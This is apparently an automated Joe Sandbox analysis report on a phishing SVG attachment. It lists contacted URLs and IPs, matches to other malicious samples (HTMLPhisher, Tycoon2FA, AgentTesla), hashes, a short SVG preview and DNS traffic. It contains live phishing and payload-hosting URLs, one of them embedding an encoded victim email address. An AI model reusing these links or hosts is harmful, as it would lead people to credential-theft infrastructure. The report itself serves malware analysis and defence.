https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://6032451419.xyz/google.php	false	Avira URL Cloud: malware	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://inv18993383.cloudfaxservice.de/MSovS?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t	false	Avira URL Cloud: malware	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9204aa6769be577b&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/9204aa6769be577b/1741964690446/1uLqQM8--8n5BJv	false		high
https://6032451419-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
file:///C:/Users/user/Desktop/ATT50896.svg	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_84.2.dr, chromecache_83.2.dr	false	high
https://getbootstrap.com)	chromecache_84.2.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_84.2.dr, chromecache_83.2.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_75.2.dr	false	high
https://getbootstrap.com/)	chromecache_83.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.100	unknown	United States	15169	GOOGLEUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
69.49.246.64	6032451419.xyz	United States	46606	UNIFIEDLAYER-AS-1US	false
104.21.73.71	inv18993383.cloudfaxservice.de	United States	13335	CLOUDFLARENETUS	false
2.19.96.24	unknown	European Union	20940	AKAMAI-ASN1EU	false
43.153.232.152	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
2.19.96.123	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.22.242.216	e329293.dscd.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
92.123.12.139	unknown	European Union	16625	AKAMAI-ASUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
172.67.158.181	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6
192.168.2.5
192.168.2.23
192.168.2.13
192.168.2.15
192.168.2.14

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638684
Start date and time:	2025-03-14 16:03:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ATT50896.svg
Detection:	MAL
Classification:	mal88.phis.troj.winSVG@27/37@134/23
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.142, 172.217.16.131, 142.250.185.238, 64.233.167.84, 142.250.186.110, 216.58.206.78, 142.250.74.206, 199.232.214.172, 216.58.212.142, 142.250.184.206, 142.250.185.78, 142.250.185.106, 172.217.18.10, 172.217.23.106, 172.217.18.106, 142.250.184.234, 216.58.206.74, 216.58.212.138, 142.250.186.42, 172.217.16.138, 142.250.185.74, 142.250.186.138, 142.250.186.74, 142.250.184.202, 142.250.186.170, 142.250.186.106, 142.250.185.170, 142.250.186.78, 199.232.210.172, 142.250.186.131, 142.250.185.174, 64.233.166.84, 142.250.185.67, 142.251.40.206, 74.125.7.136, 74.125.133.84, 23.199.214.10, 172.202.163.200, 13.107.253.72, 13.107.246.60
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, r3---sn-hp57yns7.gvt1.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, r3.sn-hp57yns7.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
104.18.94.41	Elm City Communities-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://app.storylane.io/share/3aoqhstpheml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://188.114.96.3	Get hash	malicious	Unknown	Browse
	RV Please verify your email preferences.msg	Get hash	malicious	Unknown	Browse
	https://t.yesware.com/tt/7ab57008da8a873ad00428949828ff2349e60196/3b1ee8b522b36bcfefe608bba44fecfb/1bce6274341833fa71031fa805de5c1d/businessaccount-manager.com	Get hash	malicious	Unknown	Browse
	https://pub-399fabd179d94f9eacc22f9f01cf7fae.r2.dev/AT&T%20YAHOO$$$$.htm	Get hash	malicious	HTMLPhisher	Browse
	http://hii-2q0.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://meta.pagedeleteclaim.eu/	Get hash	malicious	HTMLPhisher	Browse
	b96a6d6fd568db5fb70ce3ac0574381a.eml	Get hash	malicious	HTMLPhisher	Browse
	BATCHPAYAP_898909 Processed on the way_Polarisrx.eml	Get hash	malicious	Unknown	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://fumiko.undigon.com/sc3/index.php/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://kiwi-1741683197866.staticrun.app/index2.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://web3test.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://vwj9ymusjv9xeh65cf602u2rmsnkbyf2u7lxtnawlaim1gvceu.moydow.de/5417971987/6327230191/#bnBkL3NmdW9mZGJvYnlmdUFob2p0Ymlkc3ZxJTBsU3RkM0cwdnMvbmJmeXN1VGZ1ekMvezJsdWZxUFhXV0wyNVRmOXZqWkk5eUZbbXJie04xTTZIREp2cGN5dTlRMzplOFZkVEQwMDt0cXV1aQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.10.207
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://ElFiMvMPo7PELB8XmSdaRZ8l4YCARPfCIqaQKOI9HeOnV5mpxI.moydow.de/4529491507/5163115035/#bnBkL29ibmZsanV0QXBpbWJ3c2JkZCUwbFN0ZDNHMHZzL25iZnlzdVRmdXpDL2RVVkZbZncxdXQ1WU50dTR0SGMyT1JbQnBjQ3oxemdYcnZYZldUOG5MRlRjezpuWW5IMDA7dHF1dWk=	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.18.10.207
	https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://imagoimpresiones.pe/Find/project	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://cl.serveirc.com/guq/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
beacons3.gvt2.com	http://zeit-zu-investieren.cc/crp/gfh53g4h54j4h/a3ccg4n2/?affsub2=es2	Get hash	malicious	Unknown	Browse	142.250.185.67
	FV2025020697808.html	Get hash	malicious	Unknown	Browse	142.250.184.227
	FV2025020697808.html	Get hash	malicious	Unknown	Browse	142.250.181.227
	https://mikeservers.eu/favicon.ico	Get hash	malicious	Unknown	Browse	142.250.186.67
	yUgCaQhCIc.exe	Get hash	malicious	Unknown	Browse	142.250.186.35
	http://marina84.com/food/	Get hash	malicious	Unknown	Browse	142.250.185.163
	http://allstarteventsmiami.com	Get hash	malicious	Unknown	Browse	142.250.186.131
	http://lookerstudio%2e%67%6f%6f%67%6c%65%2e%63%6f%6d/s/tVpHSqKmotA	Get hash	malicious	HTMLPhisher	Browse	172.217.18.3
	http://insprocks.com/Insprock289.exe	Get hash	malicious	Unknown	Browse	142.250.184.195
jsdelivr.map.fastly.net	http://ads.pancing77e.live/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://app.storylane.io/share/3aoqhstpheml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.1.229
	http://188.114.96.0	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://0b47290b-5060-43ed-ab52-5c7b4505b80e-00-bb74c8jbda1u.kirk.replit.dev/	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://t.yesware.com/tt/7ab57008da8a873ad00428949828ff2349e60196/3b1ee8b522b36bcfefe608bba44fecfb/1bce6274341833fa71031fa805de5c1d/businessaccount-manager.com	Get hash	malicious	Unknown	Browse	151.101.129.229
	http://case-id-1000228257539.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.129.229
	http://case-id-1000228246008.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://case-id-1000228260751.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://kiwi-1741683197866.staticrun.app/index2.html	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	http://case-id-1000228246064.counselschambers.co.uk/	Get hash	malicious	Unknown	Browse	151.101.129.229
e329293.dscd.akamaiedge.net	Elm City Communities-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse	92.123.12.181
	https://encryption-marinha.jkndfuzv.ru/PtM2i/$nadia.sofia.rijo@marinha.pt	Get hash	malicious	Unknown	Browse	2.22.242.18
	http://modeltest.newworkventures.org/	Get hash	malicious	HTMLPhisher	Browse	95.101.182.89
	https://modeltest.newworkventures.org/signin-oidc	Get hash	malicious	HTMLPhisher	Browse	95.101.182.98
	https://vwj9ymusjv9xeh65cf602u2rmsnkbyf2u7lxtnawlaim1gvceu.moydow.de/5417971987/6327230191/#bnBkL3NmdW9mZGJvYnlmdUFob2p0Ymlkc3ZxJTBsU3RkM0cwdnMvbmJmeXN1VGZ1ekMvezJsdWZxUFhXV0wyNVRmOXZqWkk5eUZbbXJie04xTTZIREp2cGN5dTlRMzplOFZkVEQwMDt0cXV1aQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	2.19.96.24
	http://lookerstudio%2e%67%6f%6f%67%6c%65%2e%63%6f%6d/s/tVpHSqKmotA	Get hash	malicious	HTMLPhisher	Browse	92.123.12.139
	Call_Playback_relay-Dbee.svg	Get hash	malicious	HTMLPhisher	Browse	92.123.12.9
	https://sites.google.com/view/wiubriu38/home	Get hash	malicious	HTMLPhisher	Browse	92.123.12.9
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	2.19.96.24
	https://sites.google.com/view/wiubriu38/home	Get hash	malicious	HTMLPhisher	Browse	92.123.12.181
sgp.file.myqcloud.com	https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13&data=05%7C02%7Cteat@test.com%7Cf85134ec55e24fa0741708dd623d50ea%7C22def1f7e945453d836bda7282c42443%7C0%7C0%7C638774737677482831%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ==%7C0%7C%7C%7C&sdata=AFWlQKGCYsB3szoYr99UdtJsHEuv5b0KPmvHih+dvhk=&reserved=0	Get hash	malicious	Unknown	Browse	43.153.232.151
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	Inv#8653763981_2sfgPaymentAdvice.svg	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	.svg	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	ATT48234.svg	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	https://inv18993383.cloudfaxservice.de/MSovS?e=amatuer_script_kiddys@pwned.com	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	ATT54965.svg	Get hash	malicious	Unknown	Browse	43.153.232.152
	https://mconcannonpymnts.datasharing.it.com/BVtsf	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	Attach2.pdf	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	Attach1.htm	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	https://qey.oqp.mybluehost.me/website_bdd588a9/wp-content/upgrade/index.php	Get hash	malicious	Unknown	Browse	162.241.225.21
	1. Vessel Details of WBC TBN 1.pdf.bat.exe	Get hash	malicious	AgentTesla	Browse	50.87.144.157
	I_ Order.msg	Get hash	malicious	AgentTesla	Browse	192.185.13.234
	I_ Order.msg	Get hash	malicious	AgentTesla	Browse	192.185.13.234
	https://utopiamanali.com/inc/prof.html?login=skhalil@newyorklife.com	Get hash	malicious	Unknown	Browse	192.185.129.116
	https://insidesales-email.com/a/1/17012922/Y/useast1-a-2020.09.15-4652683/1/ab/1R2eFfSODhNJuwOtD7FE2MNqYeoWBNslRfuwaQZdzF8?att=https://dgd.soundestlink.com/ce/c/67cf1ccb6c54cbcc4afd4b07/67d2960348bd9c1bb8a6f743/67d2961e9c39fcd45e2b9f88?signature=d9965d20d86c2190ca7e807a4631e6af4823fe4ac3c28f50aa1daf5b27022075	Get hash	malicious	Unknown	Browse	192.185.13.17
	https://empenhoead.com.br/nn/new/rdp	Get hash	malicious	Unknown	Browse	162.240.162.194
	https://sbperu.net/	Get hash	malicious	Unknown	Browse	192.185.231.62
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	69.49.246.64
	z79RDG987654567890009876567000.bat.exe	Get hash	malicious	AgentTesla	Browse	162.241.62.63
FASTLYUS	http://ads.pancing77e.live/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	http://exeteraaletter.estreamone.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://app.storylane.io/share/3aoqhstpheml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.1.229
	http://track.durgonnews.com/go/WFl20S0IAq9-Rcp4p5aVNA2/	Get hash	malicious	Unknown	Browse	151.101.195.1
	AteraAgent_xzZFJv3k-005lqqFBKy66Ehl79dMF+xnAE9HV0nREpQ=_Production_2_.pkg	Get hash	malicious	Unknown	Browse	151.101.67.6
	https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://fortuneurl.com/qdQgK	Get hash	malicious	Unknown	Browse	151.101.194.137
	Chrome	Get hash	malicious	AMOS Stealer	Browse	151.101.67.6
	http://188.114.96.0	Get hash	malicious	Unknown	Browse	151.101.65.229
CLOUDFLARENETUS	http://ads.pancing77e.live/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	SecuriteInfo.com.W32.Lolbas.A.tr.14539.2076.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.16.1
	SecuriteInfo.com.W32.Lolbas.A.tr.14539.2076.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.80.1
	sh4.elf	Get hash	malicious	Mirai	Browse	1.13.112.151
	http://exeteraaletter.estreamone.com	Get hash	malicious	Unknown	Browse	104.21.27.152
	x86.elf	Get hash	malicious	Mirai	Browse	1.8.124.126
	arm7.elf	Get hash	malicious	Mirai	Browse	1.15.79.207
	https://u28172563.ct.sendgrid.net/ls/click?upn=u001.FTApDjz-2BrUuxPD-2B8UXLrv20PUYTT4T3Omat4YoyPPHiecm3OK9biwGm6elQSc6GPkiiv_kf9w5ek6zCnAYzNt7lhJdETk8XPGizG-2Bn70eJAWqYlN3CqYKX2nZHsYfe-2B9H-2FomKcAa7uSMhjM17k0ig-2BvBRWFTOlLYojqoCE0FZPU45yrrtJgp8pkf2C9gi4dl86prIb-2B-2B7nlBAW8jSlBLwFRH5-2Fku15wHeNW0AGOM0gqjeVouTFreUxdVrWOqh-2FDevy9WMQoO-2FWU9bC0mYChHV3dM-2FGg-3D-3D	Get hash	malicious	Unknown	Browse	104.21.63.224
	312213.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.17.252
	Elm City Communities-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
CLOUDFLARENETUS	http://ads.pancing77e.live/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	SecuriteInfo.com.W32.Lolbas.A.tr.14539.2076.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.16.1
	SecuriteInfo.com.W32.Lolbas.A.tr.14539.2076.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.80.1
	sh4.elf	Get hash	malicious	Mirai	Browse	1.13.112.151
	http://exeteraaletter.estreamone.com	Get hash	malicious	Unknown	Browse	104.21.27.152
	x86.elf	Get hash	malicious	Mirai	Browse	1.8.124.126
	arm7.elf	Get hash	malicious	Mirai	Browse	1.15.79.207
	https://u28172563.ct.sendgrid.net/ls/click?upn=u001.FTApDjz-2BrUuxPD-2B8UXLrv20PUYTT4T3Omat4YoyPPHiecm3OK9biwGm6elQSc6GPkiiv_kf9w5ek6zCnAYzNt7lhJdETk8XPGizG-2Bn70eJAWqYlN3CqYKX2nZHsYfe-2B9H-2FomKcAa7uSMhjM17k0ig-2BvBRWFTOlLYojqoCE0FZPU45yrrtJgp8pkf2C9gi4dl86prIb-2B-2B7nlBAW8jSlBLwFRH5-2Fku15wHeNW0AGOM0gqjeVouTFreUxdVrWOqh-2FDevy9WMQoO-2FWU9bC0mYChHV3dM-2FGg-3D-3D	Get hash	malicious	Unknown	Browse	104.21.63.224
	312213.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.17.252
	Elm City Communities-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
CLOUDFLARENETUS	http://ads.pancing77e.live/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	SecuriteInfo.com.W32.Lolbas.A.tr.14539.2076.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.16.1
	SecuriteInfo.com.W32.Lolbas.A.tr.14539.2076.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.80.1
	sh4.elf	Get hash	malicious	Mirai	Browse	1.13.112.151
	http://exeteraaletter.estreamone.com	Get hash	malicious	Unknown	Browse	104.21.27.152
	x86.elf	Get hash	malicious	Mirai	Browse	1.8.124.126
	arm7.elf	Get hash	malicious	Mirai	Browse	1.15.79.207
	https://u28172563.ct.sendgrid.net/ls/click?upn=u001.FTApDjz-2BrUuxPD-2B8UXLrv20PUYTT4T3Omat4YoyPPHiecm3OK9biwGm6elQSc6GPkiiv_kf9w5ek6zCnAYzNt7lhJdETk8XPGizG-2Bn70eJAWqYlN3CqYKX2nZHsYfe-2B9H-2FomKcAa7uSMhjM17k0ig-2BvBRWFTOlLYojqoCE0FZPU45yrrtJgp8pkf2C9gi4dl86prIb-2B-2B7nlBAW8jSlBLwFRH5-2Fku15wHeNW0AGOM0gqjeVouTFreUxdVrWOqh-2FDevy9WMQoO-2FWU9bC0mYChHV3dM-2FGg-3D-3D	Get hash	malicious	Unknown	Browse	104.21.63.224
	312213.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.17.252
	Elm City Communities-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

File type:	HTML document, ASCII text, with very long lines (333)
Entropy (8bit):	5.504276763661521
TrID:
File name:	ATT50896.svg
File size:	2'199 bytes
MD5:	b2f748eee14b1246cf8b320a88cb6673
SHA1:	2b84f512232bf29208f28a8476e5d3b2ade65630
SHA256:	292b9a8c9330f6832e937a1cbca75a8b20393dc374125fa39af4367a623205a1
SHA512:	bc97dac0d144d769ca945345724b95d97a71bd5f12e25bd41ea8b2fe6f245aafe642c737d7b4e74d91370a000434e0fa47b36d8cdf7c08610b7d2f16223b8b3a
SSDEEP:	48:CSMOcZuB1/zmsMM4iUJG8UHPBGGgDe7K1PimLkJB0y7rp7:DMnZuj547G/gDGKsx7V7
TLSH:	7A41B57419E6C0383A7D873113697F9EDC33850B298C8324BA1DFE616B919552467B8C
File Content Preview:	TWFnbmEgbGFuZGphZWdlciB0ZW5kZXJsb2luIGJhY29uIHBvcmNoZXR0YSBwb3JrIGNob3Au --> Burgdoggen aute nulla, dolor doner voluptate occaecat.-->. <svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%"> Pancetta anim chuck, landjaeg

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 16:04:38.704039097 CET	53	55528	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:38.762054920 CET	53	63247	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:40.412480116 CET	53	49279	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:40.525412083 CET	53	53191	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:42.833257914 CET	56250	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:42.833422899 CET	61917	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:42.840624094 CET	53	61917	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:42.840672016 CET	53	56250	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:44.621520042 CET	61823	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:44.621788025 CET	54251	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:44.646220922 CET	53	61823	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:44.647865057 CET	53	54251	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:45.493905067 CET	49805	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:45.494108915 CET	51213	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:45.519062042 CET	53	51213	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:45.519417048 CET	53	49805	1.1.1.1	192.168.2.6
Mar 14, 2025 16:04:46.366467953 CET	56184	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:46.366703987 CET	54994	53	192.168.2.6	1.1.1.1
Mar 14, 2025 16:04:46.368726969 CET	51527	53	192.168.2.6	1.1.1.1
